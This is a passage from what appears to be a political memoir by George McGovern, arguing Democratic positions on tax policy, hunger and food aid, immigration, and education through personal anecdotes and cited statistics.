But prescience on the part of the father did not stop his son, George W. Bush, from being seduced a generation later by Ronald Reagan's magical thinking. President Bush II was handed a balanced budget when he assumed the White House from Bill Clinton. Then, in the summer of 2001, before the events of 9/11 occurred and fear of terrorism—and thoughts of retribution—gripped the country, the slowing economy was Topic A in Washington. President Bush, his vice president, Dick Cheney, and the GOP Speaker of the House, Dennis Hastert, insisted that tax cuts were just what the country needed to jump-start spending and create jobs. When Congress passed the Economic Growth and Tax Relief Reconciliation Act of 2001, putting $300 to $600 back in the pockets of 95 million Americans, President Bush hailed it as "a victory for fairness and a vote for economic growth." But it's reasonable to say that from June 2001, when the cuts were signed into law, to June 2004, the tax cuts did not add a single job that wouldn't have been created otherwise. All told, only 4.7 million private-sector jobs were created in the six years between 2001 and 2007, when the recession began. Compare that to the 18.2 million new private sector jobs created between 1993, after Congress voted to increase taxes, and 2000, during Bill Clinton's presidency.
President Bush replicated Reagan's record in more ways than one. The combination of lowering revenues and increasing spending—primarily on two dubious wars, no less—added nearly $5 trillion to the national debt, which stood at well over $10 trillion when Barack Obama was sworn in as president.
The debt has risen rapidly under Barack Obama with good reason: he inherited the worst recession since the Great Depression. And with our tax revenues at just 16 percent of the total size of the economy, it's the least revenue we've collected in fifty years.
But this is not the time to sharpen our pencils; this is the time to raise our sights. Otherwise, how will we help our fellow Americans find jobs, stay in their homes, and get back on their feet?
And let me make this clear: deficit reduction cannot alone bring the budget into balance. Republicans have declared that "taxes are not on the table"—except, of course, on their own terms, by which they mean _lowering_ the tax rate on the wealthiest Americans to 25 percent.
In 2010, President Obama extended the Bush tax cuts—a necessary evil, perhaps, that's costing $80 billion over two years—simply to secure what he really thought we needed: an extension of unemployment insurance. We should let these cuts expire on time in 2012 and enact significant tax reform that will broaden the tax base. It is time to close some egregious loopholes and curb tax subsidies. And it is time to raise rates moderately for the wealthiest Americans.
Although Republicans say higher tax rates on the wealthy would cripple economic growth, history does not support this claim. During the postwar period, as I mentioned earlier, the tax rate on the wealthiest was 91 percent—and GDP grew by 3.67 percent. Under Ronald Reagan, the patron saint of tax cutting and the Republican Party, GDP grew by only 3.47 percent. If a tax rate as high as 91 percent didn't stall the economy, why would a 36 percent rate do so?
I am sickened by the idea that instead of working alongside President Obama to solve these problems in a bipartisan way, congressional Republicans are trying to hold him hostage to the Department of Labor's dismal monthly job reports in hopes that they can unseat him in the next election. They don't want to fix things, they want to retake the White House, regardless of the cost; Senate minority leader Mitch McConnell of Kentucky, in fact, has gone on record saying that his number one goal is to render Barack Obama "a one-term president." Republican House majority leader Eric Cantor walked out of a debt-ceiling negotiation meeting over his refusal to raise taxes.
Never during my lifetime have I witnessed any president beset by the kind of narrow partisanship that has plagued President Obama. The American people elected him for his vision—of change, of hope, of compromise. This is what he came to Washington to carry out. These ideals have been trampled on by Republicans.
Democrats put the love of nation over the love of party. We are on the right side of this fight.
FOOD AND HUNGER
**F** eeding the hungry has been perhaps my most enduring and compelling passion.
My introduction to hunger—not the physical pangs you feel when you skip a meal but deep-down undernourishment—came when I was a child during the Great Depression. Young men who rode the rails looking for work sometimes jumped off the train just before the Mitchell, South Dakota, depot and knocked on our door, asking to trade chores for food. If these "hoboes"—often college dropouts who could no longer pay their tuition—arrived even close to mealtime, Dad wouldn't just hand them a sandwich, he'd invite them to come sit at the table with us. They ate ravenously, as though chewing were an inconvenience that slowed down the delivery process to their stomach.
A few years later, during World War II, I was leaning against the railing of my U.S. troopship as we entered the harbor in Naples, Italy, when I saw that the docks were lined with children. They were calling out "Hey, Joe" and clamoring for us to toss them candy. To me, flinging out a couple of Baby Ruth bars seemed harmless, but the captain broke in over the loudspeaker ordering us not to throw anything. A few days earlier, he said, soldiers on another military ship had done that and, as they scrambled for the treats, some of the children, near starvation, had fallen off the dock and drowned.
The desperation of that scene stayed with me for a long time. I made a promise to myself that if I ever got a chance to do something about hunger, I would. And sixteen years later the United States government gave me the opportunity.
In 1960, I was a congressman making a run for the U.S. Senate when Jack Kennedy came to South Dakota to campaign for president. Earlier that day he had spoken at a national corn-picking contest in Sioux Falls before tens of thousands of midwestern farmers. He really laid an egg. He didn't know much about agriculture, and someone had written him an uninspired speech. He knew it wasn't good. It was raining. The wind was blowing. He was trying to hold on to his notes. Nixon had spoken to the same audience the day before and had roused them up.
My hometown, Mitchell, was the next stop for Kennedy. When we got on his plane, he said to me, "George, what the hell am I going to do? I've been told there are six thousand people waiting at the Corn Palace."
I said, "What I would do, Jack, is throw away the speech and walk out onstage without any notes. Just say, 'I think the farmers can do more for the cause of peace in the world than any other group of Americans, because food is strength, food is health, food is goodwill in a hungry world. If I'm elected president, I'm going to take the Food for Peace program, name a full-time man to head it, and put him in the White House, where he'll be close to me.'"
Food for Peace was created during the Eisenhower administration to distribute surplus wheat, corn, and other U.S. farm staples to a billion people in Latin America, Africa, and Asia, and to foster new markets for our agricultural products. It was originally known as Public Law 480, or simply as "surplus disposal," and when I was elected to the House of Representatives in 1956, Senator Hubert Humphrey and I worked hard to give it a new name with some humanitarian oomph.
Kennedy's speech only lasted about four minutes, but he got a thunderous ovation. He wound up losing South Dakota (though I'm pretty sure he carried those 6,000 people in the Corn Palace) and I lost my Senate campaign. On the Friday after Election Day, Eleanor and I were at dinner at a neighbor's house in Mitchell. The phone rang, and I'll be darned if it wasn't Jack Kennedy. He said, "George, before you make any plans, come see me." On day number three of his thousand-day presidency, he put me in charge of Food for Peace. And with his strong backing, the program moved ahead with new energy.
Republicans have typically supported Food for Peace because it benefits farm states. Now under the State Department's USAID umbrella, it not only distributes food from every state in our nation to hungry people around the world but also uses American know-how to teach farmers improved planting and harvesting techniques and distributes free school lunches. To commemorate its fiftieth anniversary, a glossy booklet featured a quotation from then president George W. Bush, saying, "Across the earth, America is feeding the hungry. More than 60 percent of international food aid comes as a gift of the people of the United States . . ."
But as I write, I'm not sure how much of the program will survive the House Republicans' current budget-cutting extravaganza. And it's certainly not the only food or nutrition program they seem to want to take the guts out of.
Food and hunger are not partisan issues. They are human issues. Eating is neither an add-on nor a luxury. It is, rather, one of the few basic needs we share, whether we're talking about Barack Obama or George W. Bush; a Japanese fisherman or a Somali herder; someone who lives in a Dallas mansion or someone who has no home at all. And historically Republicans and Democrats have been able to find broad agreement around food. (The real difference between the two parties in this regard, as fellow Democrat James Carville once maintained, is that Republicans serve better food at barbecues.)
The Senate Select Committee on Nutrition and Human Needs, which I established and chaired, was a case study in bipartisanship. In 1968, I was watching a CBS News special report called _Hunger in America_ with my wife, Eleanor, and two of our daughters. It showed students who could not afford to buy lunch as they stood around the edges of the cafeteria, watching their classmates eat. I couldn't believe that I was on the Senate Agriculture Committee and had no idea that children who didn't have the money couldn't get a free lunch. So I went to the Senate floor the next day and made a motion to create the select committee.
Bob Dole, a fellow World War II vet and Midwesterner, was my committee's ranking Republican. We were often on opposite sides of the political debate, especially in 1972, when I ran for president and he headed the Republican National Committee for Richard Nixon. But we found common ground in food. We worked together not only to provide free or reduced-price lunches and breakfasts to poor children in this country but also to reform the Food Stamp Program. Hubert Humphrey joined us to cosponsor legislation establishing the Women, Infants and Children (WIC) nutrition program, which offers food, infant formula, and health care to poor mothers and their children. (Although WIC received a $504 million cut in the 2011 budget, House Republicans, dissatisfied with their first effort, set their sights on cutting $650 million more for 2012. According to the Center on Budget and Policy Priorities, this means that up to 350,000 more eligible women and children would lose access to the program's offerings.)
After we left the Senate, Bob and I continued to work together. In 2002 we pushed Congress to pass legislation that established a permanent international program to feed schoolchildren called the McGovern-Dole International Food for Education and Child Nutrition Program. We shared the World Food Prize in 2008.
Sure, the GOP has had some ridiculous food fights. In 1981, Ronald Reagan's administration tried, unsuccessfully, to reclassify ketchup and pickle relish from condiments to vegetables to save $1 billion in the subsidized lunch program—the one that Bob Dole and I had started.
I'm not going to spend time explaining why we need to worry about hunger and other food-related problems. But let me say this: whether the Republicans are with us or against us on this, allowing anyone to go hungry—either your next-door neighbor or someone who lives on the other side of the globe—is simply not a Democratic option.
And there is work to be done right now. In 2008, when the latest numbers were available, 44 million Americans were "food insecure," meaning they often lack the money to buy enough food, according to the World Hunger Education Service. Similarly, in 2011, some 44 million Americans depended on food stamps each month, a 10 percent jump from 2010. In twenty-seven states, one of every seven people uses food stamps.
Internationally, a 2010 report by the Food and Agriculture Organization of the United Nations shows that worldwide, 925 million people—almost a billion!—are hungry, most of them in developing countries. Three and a half million children die every year from undernourishment. The global economic crisis and rising food prices have only made matters worse. And drought has left seven million people in Kenya, Ethiopia, and Somalia severely malnourished.
I've seen this type of wrenching hunger many times. My first mission during the year and a half I headed Food for Peace was in a village in northeastern Brazil. I went with Arthur M. Schlesinger Jr., JFK's special assistant, and a Brazilian economist named Celso Furtado. We walked into one hut where an emaciated woman, who probably didn't weigh more than sixty pounds, sat on the mud floor, cradling a baby in her lap. Another of her children had died the day before. She was blank with grief. Furtado asked: How could a wealthy nation like ours not share some of our bounty with this starving mother?
Hunger is inexcusable, especially because it is curable, and the United States can make a major difference while simultaneously helping to sustain our farmers. But there's also a push by the U.S. government and organizations like former United Nations secretary-general Kofi Annan's Alliance for a Green Revolution in Africa to help farmers overseas gain access to better seeds and soil to improve their crop production, an effective way to reduce poverty and hunger and increase economic growth.
We may not be able to deliver good medical care to the world's population (although the Bill & Melinda Gates Foundation is trying to do that, along with their international work to help farmers). But with a reasonable effort we can eliminate hunger. We have a surplus of food to feed everyone, computers to track food production and movement, machines to pick the harvest, and faster, more efficient transportation. We have better seeds and methods of growing them.
And all these years later, I still believe that food aid advances peace. Take any family with little kids: if lunch or dinner is delayed too long, they start scrapping with each other. It puts them on edge.
It's exactly the same on an international scale. An undernourished populace can never be stable, self-confident, or creative. You're more likely to get severe tensions and conflict in a society that doesn't know where their next meal is to be found.
One of the most ingenious programs I've heard about in years—the Global Alliance for Clean Cookstoves—came out of Hillary Rodham Clinton's State Department in 2010. It turns out that when aid agencies provide food to refugees and other people in conflict zones, women still have to search for scarce fuel to cook with, risking brutalization, rape, and other violent attacks. Using clean fuel and efficient stoves minimizes these perils. And it's hard to believe that in the second decade of the twenty-first century, three billion people still cook their meals on crude stoves or over open fires with solid fuels such as wood, dung, and charcoal. The smoke exposure alone kills nearly two million women and children each year. Now the public-private Alliance is giving stoves—some portable, others built directly into people's homes—to communities across Asia, sub-Saharan Africa, and Latin America.
How fortunate we are in the United States that preparing a simple dinner does not come with the same high risks. And yet, here at home, "foraging" for food involves an entirely different set of problems. Some 23.5 million people live in "food deserts"—poor or rural areas with a relative abundance of fast-food restaurants and convenience stores but no supermarkets—and not an apple or a celery stick to be found. A cheeseburger, french fries, and a Coke can be a delicious meal, but day after day this high-fat, high-sodium, high-sugar combo does not make for a balanced diet. It can lead to obesity and, over the long term, diabetes, heart disease, and cancer, creating enormous future health care costs for our nation.
This is simply a problem we ought not to have in the wealthiest country in the world. In 2010, President Obama signed the Healthy Food Financing Initiative, giving $400 million in loans, grants, and tax credits to businesses that support solutions, ranging from building a new grocery store to putting refrigerated units in convenience stores and stocking them with fresh fruit. But House Republicans have tried to eliminate this program completely.
Obesity is not something we can afford to sidestep in this country. One in three children in the overall population is either overweight or obese, and the numbers are higher for African American and Hispanic children. First Lady Michelle Obama has set the goal of fixing this untenable health problem within a generation, and I'm certainly hoping her signature program, Let's Move!, is successful. The Obama administration made an extraordinary deal with Walmart, the nation's largest retailer, to lower the fat, salt, and sugar content in the foods it sells over the next few years.
Any program like this is about creating awareness, and Mrs. Obama has made quite a stir. She's planted a vegetable garden at the White House, and she goes around the country doing workouts with schoolchildren and talking to them about eating fresh vegetables. Nutrition education is a problem we tried to address on the Senate select committee when we issued the first dietary recommendations to the public and, for the first time, explained the link between diet and disease. We want people to get enough food so they aren't hungry, but we need to teach them about the right kinds and amounts to eat to stay healthy.
I am sincerely hoping that the rancor between Democrats and Republicans in Washington subsides and that we'll get back to breaking bread together. But the real point is that the internecine politics playing out in Washington is such small potatoes compared to the greater problem of nourishing our global citizens. In our modern world, it is unconscionable to let one single person suffer over food, whether from eating too little or, eventually, from eating too much of the wrong food. One battle we can win in America is the battle against both hunger and obesity. Few challenges can provide a sweeter, more gratifying victory at so little cost.
IMMIGRATION
**I** f you live in the United States but are not Native American, you are here because you or your forebears came as immigrants—though not always voluntarily. My grandfather, Thomas McGovern, emigrated from Ireland in the first half of the nineteenth century, before the American Civil War, in which he fought as a member of the Union's Seventh Cavalry. A miner, he left his home in county Clare and struck out for coal-rich western Pennsylvania with his wife before eventually moving to Illinois and finally to Iowa.
My mother, Frances McLean, an Ontario, Canada, native, came to Aberdeen, South Dakota, from Calgary to visit her sister, Margaret, who was keeping house for two bachelor uncles. Mother was working as a secretary when she met my preacher father, Joseph, sent by the Wesleyan Methodist church.
Like my family, most immigrants arrive with the desire to work hard, a dedication to our American ideals, a determination to succeed, and an eagerness to join in this great experiment of ours. These are qualities that make our country unique. We take pride in our melting-pot roots. Our diversity has been our strength. As historian Oscar Handlin put it, America is a "nation of immigrants."
But the vision of an open-armed welcome is a memory tempered by time. Ironically, and to our shame, a good many of us—assimilated immigrants and their children and grandchildren—have historically opposed admitting those who would come after.
Today we welcome some immigrants, particularly those with the specialized skills that we need to bolster high-tech and other industries. But we are locked into a polarizing national debate over the fate of the more than 11 million undocumented immigrants who crossed our borders illegally or overstayed their visas. In the Facebook and Twitter era we inhabit, it's easy to ratchet up anti-immigrant sentiment. Just as Father Charles Coughlin used his popular radio show in the 1930s to denounce President Roosevelt and stir anti-Semitism, today unfounded pass-along e-mails, right-wing websites loaded with false figures, and conservative politicians shouting outright untruths have attracted the fearful, not to mention donations.
Republicans mean to incite anger and fear as political weapons. As Democrats, we are compelled to stand up for our nation's newest residents and to clarify the record.
It's interesting to me that throughout history the argument against accepting immigrants has remained consistent. It did not matter where the newcomers originate, which language they speak, or which religion they follow; there have always been naysayers motivated by fear—fear of being displaced, fear of job loss, fear that our federal coffers would be emptied to provide the incoming with welfare checks, food stamps, housing, medical bills, and education for their children.
Contrary to reports on ultraconservative talk-radio programs, here are the facts: illegal immigrants cannot receive welfare, food stamps, housing assistance, Medicaid, or Medicare for hospitalizations. In fact, to receive Medicare, the applicant must show proof of American citizenship. Undocumented workers are eligible for only two public services: public school from kindergarten through high school for their children and emergency medical care. The law says that emergency rooms cannot turn away any person needing emergency treatment. But this mandate does not extend to life-threatening non-emergencies such as cancer treatments.
Also conveniently overlooked on the talk-show circuit: 8 million of the 11 to 12 million illegal immigrants in the United States pay Medicare, Social Security, and personal income taxes.
Finally, the only way an undocumented worker can get steady employment is to use a false Social Security number. The hiring company automatically deducts Medicaid and Social Security, as it does for all employees. But if the number is fake, the worker will never be able to claim benefits. According to the Social Security Administration, this unclaimed money—kept separately—makes up one-tenth of the Social Security surplus, and it is increasing by about $50 billion a year.
Some conservatives charge that many illegal immigrants in America were criminals in their own country or that they arrive as criminals, having broken the law by crossing the border.
They are lobbying for a punitive approach. Deport them. Refuse them drivers' licenses. Turn them away from emergency rooms in public hospitals. Toss their children—even those born in the United States and therefore American citizens—out of public schools.
A number of state legislatures have passed laws designed to push the undocumented out. In 2011, Alabama made it a crime to rent an apartment to an undocumented immigrant or give them a ride or other means of transportation. The state also requires public schools to determine the immigration status of all students and to report the cost of educating the children whose parents are in the United States illegally. Nor can the undocumented attend public colleges or universities.
Both Alabama and Arizona allow police officers to ask anyone they stop about their immigration status if they have a "reasonable suspicion." (It is unclear whether these statutes will ultimately be upheld by the federal courts.)
To my mind these actions are un-American. We are the country founded on the belief that all men are created equal, as Thomas Jefferson famously wrote in the Declaration of Independence, and where any boy or girl born here can grow up to run for president, as I did in 1972. It is flat-out wrong to refuse an education to an innocent child or medical care to a man having a heart attack. Democrats do not torment people because they are not the same nationality as we are. We stand up for them.
In fact, immigrants, like many Americans, have given up all that is familiar and comforting in hopes of escaping poverty or oppression, improving their lives and their children's futures, and helping their relatives back home. It is the same dream that gave all non–Native Americans the nerve and pluck to leave their homelands for an unknown place.
They did not come easily or on a whim. Some walked hundreds of miles, only to be turned back at the border. They tried again—and again. Some paid smugglers, forded rivers, and crossed deserts while crammed into hot, airless trucks. Like the immigrants before them, they have sacrificed to get here and lived in the shadows to stay. Many have been here for years, even decades, and have done grueling labor for meager wages, and most continue to work at low-wage jobs while living in substandard housing, sometimes paying premium rent to buy an unscrupulous landlord's silence. They have cleaned our houses, picked our crops, dug our ditches, slaughtered our livestock. They have had children here, put their children in school here, and paid taxes here. They have participated in our communities, joined churches, and volunteered. Some have joined the military and served in war zones.
If we are honest with ourselves, we know that in the days before computers and background checks, some of our forefathers entered the United States illegally. In fact, some of our earliest legal settlers were convicts sent by England to the colonies—an estimated 50,000 between 1620 and the start of the American Revolution in 1775. Obviously, I am not advocating importing hardened criminals. I am simply saying that much of our own past is imperfect—beginning at the beginning.
Nor was the land that we seek to keep immigrants out of ours to take. The Black Hills of South Dakota, in my home state, witnessed how white men—that period's immigrants—treated Native Americans, stealing their land and, in many cases, their lives. A monument, incomplete after more than six decades, memorializes the Native Americans who battled bravely but ultimately in vain to hold on to their expansive territory and their way of life. Unlike Mount Rushmore, into which the likenesses of George Washington, Thomas Jefferson, Abraham Lincoln, and Theodore Roosevelt have been carved, the Crazy Horse Memorial is formed from an entire mountain. Begun in 1948, the world's largest sculpture is a tribute to the Lakota warrior who for years fought federal encroachment, most famously in the Battle of the Little Bighorn in 1876. Under Crazy Horse's command, Sioux Indians famously trapped and killed Lieutenant Colonel George Armstrong Custer and his men. The Indians won the battle, but within a year the federal government had its retribution. The United States had given the Black Hills to the Indians in a treaty in 1868. Afterward, gold was discovered, and prospectors poured in. Following Custer's defeat, our government took the land back. The brilliant, rough-cut sculptor Korczak Ziolkowski launched and shaped the huge Crazy Horse monument as a tribute to the Indians. Following his death, Ziolkowski's remarkable widow, Ruth, and children have kept the project moving forward.
Our treatment of North America's inhabitants is among the most shameful parts of our history. And that continues. Today, Native Americans have lower education and income levels and higher unemployment and poverty rates than the population as a whole. Their infant death rate is 40 percent higher than it is among white Americans. Native Americans have higher instances of diabetes, cancer, AIDS, strokes, substance abuse, and suicide.
I am saddened by my personal failure, as a U.S. senator, to do more to help Native Americans in my state and others. I wish I had given more time and energy to their cause. I wish I had worked harder to be their voice in Washington.
I cannot right those regrets. We can't undo the awful way African Americans and Native Americans were treated in days gone by. We can't un-shun the millions of immigrants who felt the sting of being unwanted when signs such as "No Irish Need Apply" hung on employers' doors.
But as Democrats we must carry these critical lessons forward. We can do what's right by the millions of people who long to become Americans today.
Immigrants did not come here to break our laws. They came to live our dream.
They, like us, are part of the fabric of this nation. We must give them the opportunity to fully participate in American life, free from worry that they will be discovered and sent back to a place that no longer is their home. We need to give them a path to citizenship.
We should require illegal immigrants to come forward, pay a penalty, pay taxes, obtain work permits, and pass criminal background checks. After living legally in the United States for a set number of years and satisfying all requirements, they could apply to become American citizens.
Meanwhile, we can update our immigration laws. We need a sensible way to control immigration. We can, for instance, give preference to immigrants who have family members in the United States and to those who have skills that meet our economic needs. I believe that if someone comes from another country to attend a university in the United States, they should have a chance to stay here, to use the skills that they learn here to better our economy.
Similarly, Congress should pass the Development, Relief and Education for Alien Minors Act, known more simply as the DREAM Act, which would provide a path to citizenship for young people who came to the United States illegally when they were children and who enroll in an American college or university or choose to serve in our military. Democrats have supported this bill, but Republicans have blocked it from becoming law. It's bad enough that we would prevent adults who are undocumented from reaching their full potential in this country, but to penalize young people is counterproductive and absurd. Let's not create a permanent multigenerational underclass. Let's create a generation of high achievers who can bring us innovation, start businesses, stimulate employment, and contribute to the general welfare.
That is good business.
Currently, employers take advantage of undocumented immigrants. They pay them low wages and force them to work long hours, often under very poor conditions. They get away with it because workers are afraid to speak out. This unethical behavior suppresses wages for everyone. If employers have to pay a decent wage to those at the lowest rungs of the economic ladder, they will have to pay more for those on each successive rung. Everyone benefits.
Our country was built on the aspirations and talents of people who came here from other places. We are stronger—our _economy_ is stronger—because of them. They bring new ideas—new ways of doing things—that enhance us all. According to the Partnership for a New American Economy, a bipartisan organization of business leaders and mayors, more than 40 percent of the 2010 Fortune 500 companies were founded by immigrants or their children. Those companies employ more than 10 million people worldwide and have combined revenues of $4.2 trillion—more than the gross domestic product of every nation in the world save the United States, China, and Japan. Imagine where we would be without those immigrant entrepreneurs.
Or—and here I'm speaking as both a Democrat and as a lifelong St. Louis Cardinals fan—without Albert Pujols, who, among his other distinctions, in 2010, led baseball players in both the National and American Leagues in batting, slugging, and on-base percentage. Pujols, who hails from the Dominican Republic, isn't taking anyone else's job. He and other players from Japan, South Korea, Cuba, Mexico, Nicaragua, Colombia, and Venezuela—immigrants all—are adding to the general goodwill of our nation's entertainment. It's easy to acknowledge their contribution when they have recognizable faces and the distinction of having been Rookie of the Year or their league's Most Valuable Player noted beside their names in the record books. The trick for us Democrats is to stand up for the millions of immigrants who have none of these things going for them.
EDUCATION
**I** n the spring of my junior year at Mitchell High School, my American history teacher, Bob Pearson, doglegged from that day's lesson to tell us his philosophy on life. Pearson had already earned my devotion as the school's debate coach. Years earlier, as a first-grader, I suffered from such painful shyness that I refused to read aloud or even recite or answer a question in class. My lack of participation was so pronounced that at the end of the year my teacher passed me only "on condition."
I overcame some of my reticence between second grade and high school. But I owe the real change in my personality to Pearson, whom my sophomore English literature teacher, Rose Hopfner, encouraged me to meet. Pearson taught me to speak without notes and to deliver my points logically and forcefully. Under his guidance I was transformed from a stammering teenager into a confident young man, able to articulate my views on a growing number of public issues. (In college, at Dakota Wesleyan University, I became a champion debater with the help of a colleague, Matthew Smith Jr.)
In his spontaneous lecture that day, Pearson told us that life's highest goal is service to others and that imagination is the key to a useful and satisfying career.
Over the years my imagination expanded to take me many unexpected places: I never dreamed then that I would become a U.S. congressman, senator, presidential nominee, or ambassador. But first, because of Bob Pearson's positive influence, I decided to become a history professor. And thanks to the GI Bill, established in 1944 for my generation of veterans returning home from World War II, I was able to accomplish my goal, earning a Ph.D. in history at Northwestern University in 1953.
When I think back on it, with the exception of the two and a half years I was enrolled at the private Dakota Wesleyan University, I owe my education to the federal government. My elementary and secondary-school education was paid for by our town and state. When I was a U.S. senator living with my family in suburban Maryland, just outside Washington, D.C., my wife, Eleanor, and I chose to put our children through the local public schools (with short-term exceptions for two of our daughters). I believed in the egalitarian aspect of public schools, the fact that kids get to mingle with all sorts of Americans—and I still do. Learning alongside and sitting down to lunch with people who may be different helps form the basis for compassion, which is essential to being a Democrat.
Yes, I'm sure that some private academies offer students more one-on-one attention and perhaps more intellectual stimulation than the neighborhood public school. But that doesn't change my strongly held view that public funds should be invested in public education. Especially now, with a growing array of public charter schools, parents have more choice than ever if they don't like what they see at the traditional school down the street. But voucher programs that use public money to send kids to private school only divert money away from the overall goal of making U.S. public schools as robust as possible.
How do we get our schools to be the best they can be? While Democrats recognize that education is a local issue, we are also certain that it is a national one. I can think of no more valuable contribution that the government (city, state, and federal) makes to our citizens—with the possible exception of health care. I was aghast a couple of years ago when I heard that, to save money, Hawaii's Republican governor decided to furlough for seventeen Fridays a year not just teachers—a disturbing practice in itself—but also the state's 171,000 students, including children at the same elementary school once attended by President Barack Obama.
The controversial cutback lasted a year before it was discontinued. But the very notion that anyone thought this was okay—that furloughing students was fair game—violated an essential Democratic principle: educating our children is sacrosanct. That's why, when I served on the House Committee on Education and Labor as a freshman congressman, and throughout my years in the Senate, I supported any program that I felt would strengthen our nation's elementary, secondary, or higher education.
Republicans are fickle about the federal government's role in education. From time to time, including in 1980, when Ronald Reagan was campaigning for his first term as president, various GOP leaders have talked of shuttering the Department of Education altogether, arguing that federal funding for schools is ineffective and that only states and communities should shape our school systems.
So it was a big deal in 2001 when President George W. Bush and my close friend Ted Kennedy managed to win bipartisan support for the No Child Left Behind Act (NCLB)—and I would excuse them if they thought the hard part was over.
But the truth is that the main law guiding our kindergarten-through-twelfth-grade education has been something of a headache—for both parties—since the day it was signed.
NCLB's main thrust is about accountability for students and teachers. But I'm not surprised at the complaints by millions of parents that NCLB raises the standards for the children at the bottom while ignoring the needs of our high-achieving children at the top. Another criticism: by focusing the tests on reading and math, other vital subjects like social studies, science, art, music, and physical education are given shorter shrift (although at the high school level this is completely untrue). And I understand the hostility of teachers and administrators, who have experienced the law as a series of threats and punishments.
The real positives I see are those that Kennedy himself highlighted in a 2008 op-ed piece he published in the _Washington Post_. We can no longer hide behind the achievements of our best-performing students. Instead, as he wrote, "the law demands that all children must benefit—black or white, immigrant or native-born, rich or poor, disabled or not. . . . Across the country, schools are poring over student data to identify weaknesses in instruction and to improve teaching and learning." Students in these groups have demonstrated achievement in both math and reading—although the National Assessment of Educational Progress (NAEP), also known as "the nation's report card," shows that we still have a great deal more work to do in closing the gaps between white students and others.
Looking back on the No Child Left Behind Act's turbulent decade, I would say its impact on K–12 education has been mixed. Not quite three-fourths of America's students graduate from high school, and of those who go to college, a third require remedial courses. But from my years in Congress, I know firsthand how difficult it can be to perfect legislation the first time. We owe it to our students, their parents, our teachers, and our principals not to scrap it but to fix it. This will require persistence—one of the very values we try to instill in our children—and that may be tough in this polarized political climate. Since the 2008 election, the bipartisan coalition has begun to unravel as some conservatives on Capitol Hill rediscover their fundamental commitment to states' rights and their distaste for federal intrusion into education-related matters. This couldn't come at a worse time. In 2011 Republican governor Scott Walker of Wisconsin cut $800 million out of his state's education budget. Combined with a reduction in school district property tax authority, the Badger State—whose motto, ironically, is "Forward"—is spending an average of $1,449 less per pupil a year for the next two years. There aren't enough school bake sales in the universe to make up this difference!
I also think that, while important, accountability rooted in standardized testing is just a start when it comes to thinking about our schools and educators. My heroes at Mitchell High, Bob Pearson and Rose Hopfner, loved their jobs—you could tell by the way they handled themselves around us. Our slightest progress elicited their praise. You could even say that they nursed me into running for Congress; I know I would never have had the nerve to put myself on such a public stage without their early encouragement. I say all this even though Bob Pearson was a devoted Republican. After all, the Republicans need all the good people they can recruit. My friend and Senate colleague Gene McCarthy, a skilled man with a sharp wit, once observed: "The Republicans have a lot of good Republicans. They just never run any of them for office."
But times are a good bit more complicated now than they were when I was in high school, and a solid education rests on so much more than educators' enthusiasm—or even on their quality. We must provide ongoing teacher training and mentoring and the necessary resources not just to improve the job instructors do in class but their capacity to deal with out-of-school factors that some children bring into the classroom as surely as they carry a backpack. These include poverty, a history of family and neighborhood violence, poor health, and a lack of parental know-how and involvement. We need to connect our students with social workers and counselors when necessary. We need to invest in school buildings, books, and materials. We need to make sure that no child skips breakfast or lunch because he or she cannot afford to pay. This last point is of particular importance to me as it was in 1970, when Bob Dole and I established both the reduced-price and free lunch program and a free breakfast program that continues today.
My other frustration with No Child Left Behind has to do with the tumult that surrounds it. Since the beginning, it has consumed such vast amounts of energy and attention that policy makers have had neither the time nor the resources to devote to the two other issues that should be near the top of our education policy agenda: access to early childhood programs and college affordability.
The Democratic Party's commitment to the well-being of young children is and always has been one of our most important and ennobling missions. Our dedication has been made manifest through legislation such as Head Start and Women, Infants and Children (WIC), the nutrition program for pregnant women and their children. Whatever our interest in kindergarten-through-twelfth-grade education, we must continue to insist, without apology, that we have no higher priority than to protect the welfare of those who are too young to protect themselves. That's both a moral argument and an economic one. Studies by Nobel Prize–winning economist James Heckman of the University of Chicago show that investments in early childhood and preschool programs generate far greater returns to the economy at large than do comparable investments in K–12 education or job training programs. Giving children a firm foundation between birth and the age of five, when their brains are developing most rapidly, lowers deficits, reducing both the later need for expensive special education and grade retention. Taking children in hand before kindergarten makes it less likely they will become juvenile delinquents, less likely they will get pregnant as teenagers, and more likely they will graduate from high school than those who we don't attend to early on.
James Heckman said that "the accident of birth is the greatest source of inequality," adding that higher standards, smaller classrooms, and more Internet access—all things that our policy makers have pushed in kindergarten through twelfth grade—"have less impact than we think." What does matter is giving preschoolers the keystone cognitive skills like pre-reading and pre-math and character skills like perseverance, self-control, and getting along with others that are crucial to success at every stage of life. Imagine that at three years old a low-income child, whose parents are less likely to stress language development, read to them, and play word games, has been exposed to 30 million fewer words than a child of middle-class parents. These children are behind even before they learn how to sound out their ABCs.
And once they're behind, research shows, they tend to stay there.
As Democrats, we need to stop apologizing for Head Start. Instead, let's improve it, expand it, and treasure it for what it is: a helping hand for our neediest children. We need to offer high-quality public preschool to all children whose parents want to send them. And we must expand and fully fund proven initiatives such as the Nurse-Family Partnership program and WIC.
But we cannot just stop at our youngest learners; we must look at ways to make post-secondary education more affordable. For most Americans, paying for college is the largest single purchase families make besides our homes. Over the past twenty years, rising college costs have outpaced that of health care, food, and energy. In their book _Higher Education? How Colleges Are Wasting Our Money and Failing Our Kids—and What We Can Do About It_ , Andrew Hacker and Claudia Dreifus note that "for every $1,000 parents were asked to pay in 1982, they must hand over $2,540 in real money today." The increase at traditionally affordable public universities has been even steeper.
According to the College Board, in-state tuition and fees at a public four-year institution in 2010–11 averaged $7,605, out-of-state tuition and fees averaged $11,990, and four-year liberal arts colleges averaged $27,293. Add room and board, books and supplies, trips home, and the occasional purchase of a school sweatshirt, and the prices rise to $20,339, $24,724, and $40,027, respectively. And that's just for one year!
The money has gone to pay college presidents (now being given executive compensation packages on a par with any well-paid corporate CEO), tenured faculty, an expanded army of administrators, and amenities—en suite dormitories, gyms, Jacuzzis, food courts—that make students clamor to go there. Hacker and Dreifus also point out that another reason colleges are more expensive today is a bit of marketing: people think they get what they pay for.
It's little wonder that 60 percent of our students walk away on graduation day not just with a diploma but also with debt that stacks their work life against them from the beginning. In 2009, according to the Project on Student Debt, 67 percent of students finished four years of college carrying an average of $24,000 in loans. Among students graduating from for-profit universities, the numbers are typically much higher. And this is just the start. I recently read of one young woman studying to become a veterinarian who owes a half million dollars in tuition fees—and she hasn't examined her first cat. Even middle-class families who have saved diligently would buckle under that burden. My own children worry all the time about how they will pay for college for their children and grandchildren.
